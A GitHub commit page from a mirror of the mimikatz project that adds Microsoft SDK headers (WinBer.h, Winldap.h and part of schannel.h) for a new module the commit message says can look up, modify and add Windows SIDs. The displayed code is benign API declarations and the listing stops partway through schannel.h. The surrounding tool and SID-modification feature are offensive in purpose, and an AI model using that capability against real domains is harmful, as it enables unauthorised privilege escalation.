mirror of
https://github.com/gentilkiwi/mimikatz
synced 2025-01-20 20:10:43 +00:00
New SID module
[remove] misc::addsid [new] sid:: module, to lookup, query, modify, add... (2003/2008r2/2012r2 right now)
This commit is contained in:
parent
ea52c92cec
commit
81594553f7
344
inc/WinBer.h
Normal file
344
inc/WinBer.h
Normal file
@ -0,0 +1,344 @@
|
||||
/*++
|
||||
|
||||
Copyright (c) 1996-1999 Microsoft Corporation
|
||||
|
||||
Module Name:
|
||||
|
||||
winber.h Basic Encoding Rules (BER) API header file
|
||||
|
||||
Abstract:
|
||||
|
||||
This module is the header file for the 32 bit BER library on
|
||||
Windows NT and Windows 95.
|
||||
|
||||
Updates :
|
||||
|
||||
Environments :
|
||||
|
||||
Win32 user mode
|
||||
|
||||
--*/
|
||||
|
||||
//
|
||||
// Only pull in this header file once.
|
||||
//
|
||||
|
||||
#ifndef _WINBER_DEFINED_
|
||||
#define _WINBER_DEFINED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#if !defined(_WINBER_)
|
||||
#define WINBERAPI DECLSPEC_IMPORT
|
||||
#else
|
||||
//#define WINBERAPI __declspec(dllexport)
|
||||
#define WINBERAPI
|
||||
#endif
|
||||
|
||||
#ifndef BERAPI
|
||||
#define BERAPI __cdecl
|
||||
#endif
|
||||
|
||||
#define LBER_ERROR 0xffffffffL
|
||||
#define LBER_DEFAULT 0xffffffffL
|
||||
|
||||
typedef unsigned int ber_tag_t; /* for BER tags */
|
||||
typedef int ber_int_t; /* for BER ints, enums, and Booleans */
|
||||
typedef unsigned int ber_uint_t; /* unsigned equivalent of ber_int_t */
|
||||
typedef unsigned int ber_len_t; /* for BER octet strings and bit strings */
|
||||
typedef int ber_slen_t; /* signed equivalent of ber_len_t */
|
||||
|
||||
//
|
||||
// This constructs a new BerElement structure containing a copy of the
|
||||
// data in the supplied berval structure.
|
||||
//
|
||||
|
||||
WINBERAPI BerElement * BERAPI ber_init( BERVAL *pBerVal );
|
||||
|
||||
//
|
||||
// This frees a BerElement which is returned from ber_alloc_t()
|
||||
// or ber_init(). The second argument - fbuf should always be set
|
||||
// to 1.
|
||||
//
|
||||
//
|
||||
|
||||
WINBERAPI VOID BERAPI ber_free( BerElement *pBerElement, INT fbuf );
|
||||
|
||||
//
|
||||
// Frees a BERVAL structure. Applications should not call
|
||||
// this API to free BERVAL structures which they themselves
|
||||
// have allocated
|
||||
//
|
||||
|
||||
WINBERAPI VOID BERAPI ber_bvfree( BERVAL *pBerVal );
|
||||
|
||||
|
||||
//
|
||||
// Frees an array of BERVAL structures.
|
||||
//
|
||||
|
||||
WINBERAPI VOID BERAPI ber_bvecfree( PBERVAL *pBerVal );
|
||||
|
||||
//
|
||||
// Returns a copy of a the supplied berval structure
|
||||
//
|
||||
|
||||
WINBERAPI BERVAL * BERAPI ber_bvdup( BERVAL *pBerVal );
|
||||
|
||||
|
||||
//
|
||||
// Constructs and returns a BerElement structure. The options field
|
||||
// contains a bitwise-or of options which are to be used when generating
|
||||
// the encoding of the BerElement
|
||||
//
|
||||
// The LBER_USE_DER options should always be specified.
|
||||
//
|
||||
|
||||
WINBERAPI BerElement * BERAPI ber_alloc_t( INT options );
|
||||
|
||||
|
||||
//
|
||||
// This skips over the current tag and returns the tag of the next
|
||||
// element in the supplied BerElement. The lenght of this element is
|
||||
// stored in the pLen argument.
|
||||
//
|
||||
// LBER_DEFAULT is returned if there is no further data to be read
|
||||
// else the tag of the next element is returned.
|
||||
//
|
||||
// The difference between ber_skip_tag() and ber_peek_tag() is that the
|
||||
// state pointer is advanced past the first tag+lenght and is pointed to
|
||||
// the value part of the next element
|
||||
//
|
||||
|
||||
WINBERAPI ULONG BERAPI ber_skip_tag( BerElement *pBerElement, ULONG *pLen );
|
||||
|
||||
//
|
||||
// This returns the tag of the next element to be parsed in the
|
||||
// supplied BerElement. The length of this element is stored in the
|
||||
// pLen argument.
|
||||
//
|
||||
// LBER_DEFAULT is returned if there is no further data to be read
|
||||
// else the tag of the next element is returned.
|
||||
//
|
||||
|
||||
WINBERAPI ULONG BERAPI ber_peek_tag( BerElement *pBerElement, ULONG *pLen);
|
||||
|
||||
//
|
||||
// This returns the tag and length of the first element in a SET, SET OF
|
||||
// or SEQUENCE OF data value.
|
||||
//
|
||||
// LBER_DEFAULT is returned if the constructed value is empty else, the tag
|
||||
// is returned. It also returns an opaque cookie which has to be passed to
|
||||
// subsequent invocations of ber_next_element().
|
||||
//
|
||||
|
||||
WINBERAPI ULONG BERAPI ber_first_element( BerElement *pBerElement, ULONG *pLen, __out CHAR **ppOpaque );
|
||||
|
||||
//
|
||||
// This positions the state at the start of the next element in the
|
||||
// constructed type.
|
||||
//
|
||||
// LBER_DEFAULT is returned if the constructed value is empty else, the tag
|
||||
// is returned.
|
||||
//
|
||||
|
||||
WINBERAPI ULONG BERAPI ber_next_element( BerElement *pBerElement, ULONG *pLen, __in CHAR *opaque );
|
||||
|
||||
//
|
||||
// This allocates a BerVal structure whose contents are taken from the
|
||||
// supplied BerElement structure.
|
||||
//
|
||||
// The return values are 0 on success and -1 on error.
|
||||
//
|
||||
|
||||
WINBERAPI INT BERAPI ber_flatten( BerElement *pBerElement, PBERVAL *pBerVal );
|
||||
|
||||
|
||||
/*
|
||||
The ber_printf() routine is used to encode a BER element in much the
|
||||
same way that sprintf() works. One important difference, though, is
|
||||
that state information is kept in the ber argument so that multiple
|
||||
calls can be made to ber_printf() to append to the end of the BER ele-
|
||||
ment. ber MUST be a pointer to a BerElement returned by ber_alloc_t().
|
||||
ber_printf() interprets and formats its arguments according to the for-
|
||||
mat string fmt. ber_printf() returns -1 if there is an error during
|
||||
encoding and a non-negative number if successful. As with sprintf(),
|
||||
each character in fmt refers to an argument to ber_printf().
|
||||
|
||||
The format string can contain the following format characters:
|
||||
|
||||
't' Tag. The next argument is a ber_tag_t specifying the tag to
|
||||
override the next element to be written to the ber. This works
|
||||
across calls. The integer tag value SHOULD contain the tag
|
||||
class, constructed bit, and tag value. For example, a tag of
|
||||
"[3]" for a constructed type is 0xA3U. All implementations MUST
|
||||
support tags that fit in a single octet (i.e., where the tag
|
||||
value is less than 32) and they MAY support larger tags.
|
||||
|
||||
'b' Boolean. The next argument is an ber_int_t, containing either 0
|
||||
for FALSE or 0xff for TRUE. A boolean element is output. If
|
||||
this format character is not preceded by the 't' format modif-
|
||||
ier, the tag 0x01U is used for the element.
|
||||
|
||||
'e' Enumerated. The next argument is a ber_int_t, containing the
|
||||
enumerated value in the host's byte order. An enumerated ele-
|
||||
ment is output. If this format character is not preceded by the
|
||||
't' format modifier, the tag 0x0AU is used for the element.
|
||||
|
||||
'i' Integer. The next argument is a ber_int_t, containing the
|
||||
integer in the host's byte order. An integer element is output.
|
||||
If this format character is not preceded by the 't' format
|
||||
modifier, the tag 0x02U is used for the element.
|
||||
|
||||
'n' Null. No argument is needed. An ASN.1 NULL element is output.
|
||||
If this format character is not preceded by the 't' format
|
||||
modifier, the tag 0x05U is used for the element.
|
||||
|
||||
'o' Octet string. The next two arguments are a char *, followed by
|
||||
a ber_len_t with the length of the string. The string MAY con-
|
||||
tain null bytes and are do not have to be zero-terminated. An
|
||||
octet string element is output, in primitive form. If this for-
|
||||
mat character is not preceded by the 't' format modifier, the
|
||||
tag 0x04U is used for the element.
|
||||
|
||||
's' Octet string. The next argument is a char * pointing to a
|
||||
zero-terminated string. An octet string element in primitive
|
||||
form is output, which does not include the trailing '\0' (null)
|
||||
byte. If this format character is not preceded by the 't' format
|
||||
modifier, the tag 0x04U is used for the element.
|
||||
|
||||
'v' Several octet strings. The next argument is a char **, an array
|
||||
of char * pointers to zero-terminated strings. The last element
|
||||
in the array MUST be a NULL pointer. The octet strings do not
|
||||
include the trailing '\0' (null) byte. Note that a construct
|
||||
like '{v}' is used to get an actual SEQUENCE OF octet strings.
|
||||
The 't' format modifier cannot be used with this format charac-
|
||||
ter.
|
||||
|
||||
'V' Several octet strings. A NULL-terminated array of struct berval
|
||||
*'s is supplied. Note that a construct like '{V}' is used to
|
||||
get an actual SEQUENCE OF octet strings. The 't' format modifier
|
||||
cannot be used with this format character.
|
||||
|
||||
'{' Begin sequence. No argument is needed. If this format charac-
|
||||
ter is not preceded by the 't' format modifier, the tag 0x30U is
|
||||
used.
|
||||
|
||||
'}' End sequence. No argument is needed. The 't' format modifier
|
||||
cannot be used with this format character.
|
||||
|
||||
'[' Begin set. No argument is needed. If this format character is
|
||||
not preceded by the 't' format modifier, the tag 0x31U is used.
|
||||
|
||||
']' End set. No argument is needed. The 't' format modifier cannot
|
||||
be used with this format character.
|
||||
*/
|
||||
|
||||
WINBERAPI INT BERAPI ber_printf( BerElement *pBerElement, __in PCHAR fmt, ... );
|
||||
|
||||
/*
|
||||
The ber_scanf() routine is used to decode a BER element in much the same
|
||||
way that sscanf() works. One important difference, though, is that some
|
||||
state information is kept with the ber argument so that multiple calls
|
||||
can be made to ber_scanf() to sequentially read from the BER element.
|
||||
The ber argument SHOULD be a pointer to a BerElement returned by
|
||||
ber_init(). ber_scanf interprets the bytes according to the format
|
||||
string fmt, and stores the results in its additional arguments.
|
||||
ber_scanf() returns LBER_ERROR on error, and a different value on suc-
|
||||
cess.
|
||||
|
||||
The format string contains conversion specifications which are used to
|
||||
direct the interpretation of the BER element. The format string can
|
||||
contain the following characters:
|
||||
|
||||
'a' Octet string. A char ** argument MUST be supplied. Memory is
|
||||
allocated, filled with the contents of the octet string, zero-
|
||||
terminated, and the pointer to the string is stored in the argu-
|
||||
ment. The returned value SHOULD be freed using ldap_memfree.
|
||||
The tag of the element MUST indicate the primitive form
|
||||
(constructed strings are not supported) but is otherwise ignored
|
||||
and discarded during the decoding. This format cannot be used
|
||||
with octet strings which could contain null bytes.
|
||||
|
||||
'O' Octet string. A struct berval ** argument MUST be supplied,
|
||||
which upon return points to an allocated struct berval contain-
|
||||
ing the octet string and its length. ber_bvfree() SHOULD be
|
||||
called to free the allocated memory. The tag of the element
|
||||
MUST indicate the primitive form (constructed strings are not
|
||||
supported) but is otherwise ignored during the decoding.
|
||||
|
||||
'b' Boolean. A pointer to a ber_int_t MUST be supplied. The
|
||||
ber_int_t value stored will be 0 for FALSE or nonzero for TRUE.
|
||||
The tag of the element MUST indicate the primitive form but is
|
||||
otherwise ignored during the decoding.
|
||||
|
||||
'e' Enumerated. A pointer to a ber_int_t MUST be supplied. The
|
||||
enumerated value stored will be in host byte order. The tag of
|
||||
the element MUST indicate the primitive form but is otherwise
|
||||
ignored during the decoding. ber_scanf() will return an error
|
||||
if the value of the enumerated value cannot be stored in a
|
||||
ber_int_t.
|
||||
|
||||
'i' Integer. A pointer to a ber_int_t MUST be supplied. The
|
||||
ber_int_t value stored will be in host byte order. The tag of
|
||||
the element MUST indicate the primitive form but is otherwise
|
||||
ignored during the decoding. ber_scanf() will return an error
|
||||
if the integer cannot be stored in a ber_int_t.
|
||||
|
||||
'B' Bitstring. A char ** argument MUST be supplied which will point
|
||||
to the allocated bits, followed by a ber_len_t * argument, which
|
||||
will point to the length (in bits) of the bitstring returned.
|
||||
ldap_memfree SHOULD be called to free the bitstring. The tag of
|
||||
the element MUST indicate the primitive form (constructed bit-
|
||||
strings are not supported) but is otherwise ignored during the
|
||||
decoding.
|
||||
|
||||
'n' Null. No argument is needed. The element is verified to have a
|
||||
zero-length value and is skipped. The tag is ignored.
|
||||
|
||||
'v' Several octet strings. A char *** argument MUST be supplied,
|
||||
which upon return points to an allocated NULL-terminated array
|
||||
of char *'s containing the octet strings. NULL is stored if the
|
||||
sequence is empty. ldap_memfree SHOULD be called to free each
|
||||
element of the array and the array itself. The tag of the
|
||||
sequence and of the octet strings are ignored.
|
||||
|
||||
'V' Several octet strings (which could contain null bytes). A
|
||||
struct berval *** MUST be supplied, which upon return points to
|
||||
a allocated NULL-terminated array of struct berval *'s contain-
|
||||
ing the octet strings and their lengths. NULL is stored if the
|
||||
sequence is empty. ber_bvecfree() can be called to free the
|
||||
allocated memory. The tag of the sequence and of the octet
|
||||
strings are ignored.
|
||||
|
||||
'x' Skip element. The next element is skipped. No argument is
|
||||
needed.
|
||||
|
||||
'{' Begin sequence. No argument is needed. The initial sequence
|
||||
tag and length are skipped.
|
||||
|
||||
'}' End sequence. No argument is needed.
|
||||
|
||||
'[' Begin set. No argument is needed. The initial set tag and
|
||||
length are skipped.
|
||||
|
||||
']' End set. No argument is needed.
|
||||
|
||||
*/
|
||||
|
||||
WINBERAPI ULONG BERAPI ber_scanf( BerElement *pBerElement, __in PCHAR fmt, ... );
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#endif // _WINBER_DEFINED_
|
||||
|
3285
inc/Winldap.h
Normal file
3285
inc/Winldap.h
Normal file
File diff suppressed because it is too large
Load Diff
876
inc/schannel.h
Normal file
876
inc/schannel.h
Normal file
@ -0,0 +1,876 @@
|
||||
//+---------------------------------------------------------------------------
|
||||
//
|
||||
// Microsoft Windows
|
||||
// Copyright (C) Microsoft Corporation, 1992-1999.
|
||||
//
|
||||
// File: schannel.h
|
||||
//
|
||||
// Contents: Public Definitions for SCHANNEL Security Provider
|
||||
//
|
||||
// Classes:
|
||||
//
|
||||
// Functions:
|
||||
//
|
||||
//----------------------------------------------------------------------------
|
||||
|
||||
|
||||
|
||||
#ifndef __SCHANNEL_H__
|
||||
#define __SCHANNEL_H__
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif
|
||||
|
||||
#include <wincrypt.h>
|
||||
|
||||
|
||||
//
|
||||
// Security package names.
|
||||
//
|
||||
|
||||
#define UNISP_NAME_A "Microsoft Unified Security Protocol Provider"
|
||||
#define UNISP_NAME_W L"Microsoft Unified Security Protocol Provider"
|
||||
|
||||
#define SSL2SP_NAME_A "Microsoft SSL 2.0"
|
||||
#define SSL2SP_NAME_W L"Microsoft SSL 2.0"
|
||||
|
||||
#define SSL3SP_NAME_A "Microsoft SSL 3.0"
|
||||
#define SSL3SP_NAME_W L"Microsoft SSL 3.0"
|
||||
|
||||
#define TLS1SP_NAME_A "Microsoft TLS 1.0"
|
||||
#define TLS1SP_NAME_W L"Microsoft TLS 1.0"
|
||||
|
||||
#define PCT1SP_NAME_A "Microsoft PCT 1.0"
|
||||
#define PCT1SP_NAME_W L"Microsoft PCT 1.0"
|
||||
|
||||
#define SCHANNEL_NAME_A "Schannel"
|
||||
#define SCHANNEL_NAME_W L"Schannel"
|
||||
|
||||
|
||||
#ifdef UNICODE
|
||||
|
||||
#define UNISP_NAME UNISP_NAME_W
|
||||
#define PCT1SP_NAME PCT1SP_NAME_W
|
||||
#define SSL2SP_NAME SSL2SP_NAME_W
|
||||
#define SSL3SP_NAME SSL3SP_NAME_W
|
||||
#define TLS1SP_NAME TLS1SP_NAME_W
|
||||
#define SCHANNEL_NAME SCHANNEL_NAME_W
|
||||
|
||||
#else
|
||||
|
||||
#define UNISP_NAME UNISP_NAME_A
|
||||
#define PCT1SP_NAME PCT1SP_NAME_A
|
||||
#define SSL2SP_NAME SSL2SP_NAME_A
|
||||
#define SSL3SP_NAME SSL3SP_NAME_A
|
||||
#define TLS1SP_NAME TLS1SP_NAME_A
|
||||
#define SCHANNEL_NAME SCHANNEL_NAME_A
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
enum eTlsSignatureAlgorithm
|
||||
{
|
||||
TlsSignatureAlgorithm_Anonymous = 0,
|
||||
TlsSignatureAlgorithm_Rsa = 1,
|
||||
TlsSignatureAlgorithm_Dsa = 2,
|
||||
TlsSignatureAlgorithm_Ecdsa = 3
|
||||
};
|
||||
|
||||
enum eTlsHashAlgorithm
|
||||
{
|
||||
TlsHashAlgorithm_None = 0,
|
||||
TlsHashAlgorithm_Md5 = 1,
|
||||
TlsHashAlgorithm_Sha1 = 2,
|
||||
TlsHashAlgorithm_Sha224 = 3,
|
||||
TlsHashAlgorithm_Sha256 = 4,
|
||||
TlsHashAlgorithm_Sha384 = 5,
|
||||
TlsHashAlgorithm_Sha512 = 6
|
||||
};
|
||||
|
||||
|
||||
//
|
||||
// RPC constants.
|
||||
//
|
||||
|
||||
#define UNISP_RPC_ID 14
|
||||
|
||||
|
||||
//
|
||||
// QueryContextAttributes/QueryCredentialsAttribute extensions
|
||||
//
|
||||
|
||||
#define SECPKG_ATTR_ISSUER_LIST 0x50 // (OBSOLETE) returns SecPkgContext_IssuerListInfo
|
||||
#define SECPKG_ATTR_REMOTE_CRED 0x51 // (OBSOLETE) returns SecPkgContext_RemoteCredentialInfo
|
||||
#define SECPKG_ATTR_LOCAL_CRED 0x52 // (OBSOLETE) returns SecPkgContext_LocalCredentialInfo
|
||||
#define SECPKG_ATTR_REMOTE_CERT_CONTEXT 0x53 // returns PCCERT_CONTEXT
|
||||
#define SECPKG_ATTR_LOCAL_CERT_CONTEXT 0x54 // returns PCCERT_CONTEXT
|
||||
#define SECPKG_ATTR_ROOT_STORE 0x55 // returns HCERTCONTEXT to the root store
|
||||
#define SECPKG_ATTR_SUPPORTED_ALGS 0x56 // returns SecPkgCred_SupportedAlgs
|
||||
#define SECPKG_ATTR_CIPHER_STRENGTHS 0x57 // returns SecPkgCred_CipherStrengths
|
||||
#define SECPKG_ATTR_SUPPORTED_PROTOCOLS 0x58 // returns SecPkgCred_SupportedProtocols
|
||||
#define SECPKG_ATTR_ISSUER_LIST_EX 0x59 // returns SecPkgContext_IssuerListInfoEx
|
||||
#define SECPKG_ATTR_CONNECTION_INFO 0x5a // returns SecPkgContext_ConnectionInfo
|
||||
#define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b // returns SecPkgContext_EapKeyBlock
|
||||
#define SECPKG_ATTR_MAPPED_CRED_ATTR 0x5c // returns SecPkgContext_MappedCredAttr
|
||||
#define SECPKG_ATTR_SESSION_INFO 0x5d // returns SecPkgContext_SessionInfo
|
||||
#define SECPKG_ATTR_APP_DATA 0x5e // sets/returns SecPkgContext_SessionAppData
|
||||
#define SECPKG_ATTR_REMOTE_CERTIFICATES 0x5F // returns SecPkgContext_Certificates
|
||||
#define SECPKG_ATTR_CLIENT_CERT_POLICY 0x60 // sets SecPkgCred_ClientCertCtlPolicy
|
||||
#define SECPKG_ATTR_CC_POLICY_RESULT 0x61 // returns SecPkgContext_ClientCertPolicyResult
|
||||
#define SECPKG_ATTR_USE_NCRYPT 0x62 // Sets the CRED_FLAG_USE_NCRYPT_PROVIDER FLAG on cred group
|
||||
#define SECPKG_ATTR_LOCAL_CERT_INFO 0x63 // returns SecPkgContext_CertInfo
|
||||
#define SECPKG_ATTR_CIPHER_INFO 0x64 // returns new CNG SecPkgContext_CipherInfo
|
||||
#define SECPKG_ATTR_EAP_PRF_INFO 0x65 // sets SecPkgContext_EapPrfInfo
|
||||
#define SECPKG_ATTR_SUPPORTED_SIGNATURES 0x66 // returns SecPkgContext_SupportedSignatures
|
||||
|
||||
|
||||
// OBSOLETE - included here for backward compatibility only
|
||||
typedef struct _SecPkgContext_RemoteCredentialInfo
|
||||
{
|
||||
DWORD cbCertificateChain;
|
||||
PBYTE pbCertificateChain;
|
||||
DWORD cCertificates;
|
||||
DWORD fFlags;
|
||||
DWORD dwBits;
|
||||
} SecPkgContext_RemoteCredentialInfo, *PSecPkgContext_RemoteCredentialInfo;
|
||||
|
||||
typedef SecPkgContext_RemoteCredentialInfo SecPkgContext_RemoteCredenitalInfo, *PSecPkgContext_RemoteCredenitalInfo;
|
||||
|
||||
#define RCRED_STATUS_NOCRED 0x00000000
|
||||
#define RCRED_CRED_EXISTS 0x00000001
|
||||
#define RCRED_STATUS_UNKNOWN_ISSUER 0x00000002
|
||||
|
||||
|
||||
// OBSOLETE - included here for backward compatibility only
|
||||
typedef struct _SecPkgContext_LocalCredentialInfo
|
||||
{
|
||||
DWORD cbCertificateChain;
|
||||
PBYTE pbCertificateChain;
|
||||
DWORD cCertificates;
|
||||
DWORD fFlags;
|
||||
DWORD dwBits;
|
||||
} SecPkgContext_LocalCredentialInfo, *PSecPkgContext_LocalCredentialInfo;
|
||||
|
||||
typedef SecPkgContext_LocalCredentialInfo SecPkgContext_LocalCredenitalInfo, *PSecPkgContext_LocalCredenitalInfo;
|
||||
|
||||
#define LCRED_STATUS_NOCRED 0x00000000
|
||||
#define LCRED_CRED_EXISTS 0x00000001
|
||||
#define LCRED_STATUS_UNKNOWN_ISSUER 0x00000002
|
||||
|
||||
|
||||
typedef struct _SecPkgCred_SupportedAlgs
|
||||
{
|
||||
DWORD cSupportedAlgs;
|
||||
ALG_ID *palgSupportedAlgs;
|
||||
} SecPkgCred_SupportedAlgs, *PSecPkgCred_SupportedAlgs;
|
||||
|
||||
|
||||
typedef struct _SecPkgCred_CipherStrengths
|
||||
{
|
||||
DWORD dwMinimumCipherStrength;
|
||||
DWORD dwMaximumCipherStrength;
|
||||
} SecPkgCred_CipherStrengths, *PSecPkgCred_CipherStrengths;
|
||||
|
||||
|
||||
typedef struct _SecPkgCred_SupportedProtocols
|
||||
{
|
||||
DWORD grbitProtocol;
|
||||
} SecPkgCred_SupportedProtocols, *PSecPkgCred_SupportedProtocols;
|
||||
|
||||
|
||||
typedef struct _SecPkgCred_ClientCertPolicy
|
||||
{
|
||||
DWORD dwFlags;
|
||||
GUID guidPolicyId;
|
||||
DWORD dwCertFlags;
|
||||
DWORD dwUrlRetrievalTimeout;
|
||||
BOOL fCheckRevocationFreshnessTime;
|
||||
DWORD dwRevocationFreshnessTime;
|
||||
BOOL fOmitUsageCheck;
|
||||
LPWSTR pwszSslCtlStoreName;
|
||||
LPWSTR pwszSslCtlIdentifier;
|
||||
} SecPkgCred_ClientCertPolicy, *PSecPkgCred_ClientCertPolicy;
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_ClientCertPolicyResult
|
||||
{
|
||||
HRESULT dwPolicyResult;
|
||||
GUID guidPolicyId;
|
||||
} SecPkgContext_ClientCertPolicyResult, *PSecPkgContext_ClientCertPolicyResult;
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_IssuerListInfoEx
|
||||
{
|
||||
PCERT_NAME_BLOB aIssuers;
|
||||
DWORD cIssuers;
|
||||
} SecPkgContext_IssuerListInfoEx, *PSecPkgContext_IssuerListInfoEx;
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_ConnectionInfo
|
||||
{
|
||||
DWORD dwProtocol;
|
||||
ALG_ID aiCipher;
|
||||
DWORD dwCipherStrength;
|
||||
ALG_ID aiHash;
|
||||
DWORD dwHashStrength;
|
||||
ALG_ID aiExch;
|
||||
DWORD dwExchStrength;
|
||||
} SecPkgContext_ConnectionInfo, *PSecPkgContext_ConnectionInfo;
|
||||
|
||||
#define SZ_ALG_MAX_SIZE 64
|
||||
#define SECPKGCONTEXT_CIPHERINFO_V1 1
|
||||
|
||||
typedef struct _SecPkgContext_CipherInfo
|
||||
{
|
||||
|
||||
DWORD dwVersion;
|
||||
DWORD dwProtocol;
|
||||
DWORD dwCipherSuite;
|
||||
DWORD dwBaseCipherSuite;
|
||||
WCHAR szCipherSuite[SZ_ALG_MAX_SIZE];
|
||||
WCHAR szCipher[SZ_ALG_MAX_SIZE];
|
||||
DWORD dwCipherLen;
|
||||
DWORD dwCipherBlockLen; // in bytes
|
||||
WCHAR szHash[SZ_ALG_MAX_SIZE];
|
||||
DWORD dwHashLen;
|
||||
WCHAR szExchange[SZ_ALG_MAX_SIZE];
|
||||
DWORD dwMinExchangeLen;
|
||||
DWORD dwMaxExchangeLen;
|
||||
WCHAR szCertificate[SZ_ALG_MAX_SIZE];
|
||||
DWORD dwKeyType;
|
||||
} SecPkgContext_CipherInfo, *PSecPkgContext_CipherInfo;
|
||||
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_EapKeyBlock
|
||||
{
|
||||
BYTE rgbKeys[128];
|
||||
BYTE rgbIVs[64];
|
||||
} SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock;
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_MappedCredAttr
|
||||
{
|
||||
DWORD dwAttribute;
|
||||
PVOID pvBuffer;
|
||||
} SecPkgContext_MappedCredAttr, *PSecPkgContext_MappedCredAttr;
|
||||
|
||||
|
||||
// Flag values for SecPkgContext_SessionInfo
|
||||
#define SSL_SESSION_RECONNECT 1
|
||||
|
||||
typedef struct _SecPkgContext_SessionInfo
|
||||
{
|
||||
DWORD dwFlags;
|
||||
DWORD cbSessionId;
|
||||
BYTE rgbSessionId[32];
|
||||
} SecPkgContext_SessionInfo, *PSecPkgContext_SessionInfo;
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_SessionAppData
|
||||
{
|
||||
DWORD dwFlags;
|
||||
DWORD cbAppData;
|
||||
__field_bcount(cbAppData) PBYTE pbAppData;
|
||||
} SecPkgContext_SessionAppData, *PSecPkgContext_SessionAppData;
|
||||
|
||||
typedef struct _SecPkgContext_EapPrfInfo
|
||||
{
|
||||
DWORD dwVersion;
|
||||
DWORD cbPrfData;
|
||||
__field_bcount(cbPrfData) PBYTE pbPrfData;
|
||||
} SecPkgContext_EapPrfInfo, *PSecPkgContext_EapPrfInfo;
|
||||
|
||||
|
||||
typedef struct _SecPkgContext_SupportedSignatures
|
||||
{
|
||||
WORD cSignatureAndHashAlgorithms;
|
||||
|
||||
//
|
||||
// Upper byte (from TLS 1.2, RFC 4346):
|
||||
// enum {
|
||||
// anonymous(0), rsa(1), dsa(2), ecdsa(3), (255)
|
||||
// } SignatureAlgorithm;
|
||||
//
|
||||
// enum eTlsSignatureAlgorithm
|
||||
|
||||
//
|
||||
// Lower byte (from TLS 1.2, RFC 4346):
|
||||
// enum {
|
||||
// none(0), md5(1), sha1(2), sha224(3), sha256(4), sha384(5),
|
||||
// sha512(6), (255)
|
||||
// } HashAlgorithm;
|
||||
//
|
||||
//
|
||||
// enum eTlsHashAlgorithm
|
||||
|
||||
__field_ecount(cSignatureAndHashAlgorithms)
|
||||
WORD *pSignatureAndHashAlgorithms;
|
||||
} SecPkgContext_SupportedSignatures, *PSecPkgContext_SupportedSignatures;
|
||||
|
||||
|
||||
//
|
||||
// This property returns the raw binary certificates that were received
|
||||
// from the remote party. The format of the buffer that's returned is as
|
||||
// follows.
|
||||
//
|
||||
// <4 bytes> length of certificate #1
|
||||
// <n bytes> certificate #1
|
||||
// <4 bytes> length of certificate #2
|
||||
// <n bytes> certificate #2
|
||||
// ...
|
||||
//
|
||||
// After this data is processed, the caller of QueryContextAttributes
|
||||
// must free the pbCertificateChain buffer using FreeContextBuffer.
|
||||
//
|
||||
typedef struct _SecPkgContext_Certificates
|
||||
{
|
||||
DWORD cCertificates;
|
||||
DWORD cbCertificateChain;
|
||||
PBYTE pbCertificateChain;
|
||||
} SecPkgContext_Certificates, *PSecPkgContext_Certificates;
|
||||
|
||||
|
||||
//
|
||||
// This property returns information about a certificate. In particular
|
||||
// it is useful (and only available) in the kernel where CAPI2 is not
|
||||
// available.
|
||||
//
|
||||
typedef struct _SecPkgContext_CertInfo
|
||||
{
|
||||
DWORD dwVersion;
|
||||
DWORD cbSubjectName;
|
||||
LPWSTR pwszSubjectName;
|
||||
DWORD cbIssuerName;
|
||||
LPWSTR pwszIssuerName;
|
||||
DWORD dwKeySize;
|
||||
} SecPkgContext_CertInfo, *PSecPkgContext_CertInfo;
|
||||
|
||||
#define KERN_CONTEXT_CERT_INFO_V1 0x00000000
|
||||
|
||||
//
|
||||
// Schannel credentials data structure.
|
||||
//
|
||||
|
||||
#define SCH_CRED_V1 0x00000001
|
||||
#define SCH_CRED_V2 0x00000002 // for legacy code
|
||||
#define SCH_CRED_VERSION 0x00000002 // for legacy code
|
||||
#define SCH_CRED_V3 0x00000003 // for legacy code
|
||||
#define SCHANNEL_CRED_VERSION 0x00000004
|
||||
|
||||
|
||||
struct _HMAPPER;
|
||||
|
||||
typedef struct _SCHANNEL_CRED
|
||||
{
|
||||
DWORD dwVersion; // always SCHANNEL_CRED_VERSION
|
||||
DWORD cCreds;
|
||||
PCCERT_CONTEXT *paCred;
|
||||
HCERTSTORE hRootStore;
|
||||
|
||||
DWORD cMappers;
|
||||
struct _HMAPPER **aphMappers;
|
||||
|
||||
DWORD cSupportedAlgs;
|
||||
ALG_ID * palgSupportedAlgs;
|
||||
|
||||
DWORD grbitEnabledProtocols;
|
||||
DWORD dwMinimumCipherStrength;
|
||||
DWORD dwMaximumCipherStrength;
|
||||
DWORD dwSessionLifespan;
|
||||
DWORD dwFlags;
|
||||
DWORD dwCredFormat;
|
||||
} SCHANNEL_CRED, *PSCHANNEL_CRED;
|
||||
|
||||
|
||||
// Values for SCHANNEL_CRED dwCredFormat field.
|
||||
#define SCH_CRED_FORMAT_CERT_CONTEXT 0x00000000
|
||||
#define SCH_CRED_FORMAT_CERT_HASH 0x00000001
|
||||
#define SCH_CRED_FORMAT_CERT_HASH_STORE 0x00000002
|
||||
|
||||
#define SCH_CRED_MAX_STORE_NAME_SIZE 128
|
||||
#define SCH_CRED_MAX_SUPPORTED_ALGS 256
|
||||
#define SCH_CRED_MAX_SUPPORTED_CERTS 100
|
||||
|
||||
typedef struct _SCHANNEL_CERT_HASH
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwFlags;
|
||||
HCRYPTPROV hProv;
|
||||
BYTE ShaHash[20];
|
||||
} SCHANNEL_CERT_HASH, *PSCHANNEL_CERT_HASH;
|
||||
|
||||
typedef struct _SCHANNEL_CERT_HASH_STORE
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwFlags;
|
||||
HCRYPTPROV hProv;
|
||||
BYTE ShaHash[20];
|
||||
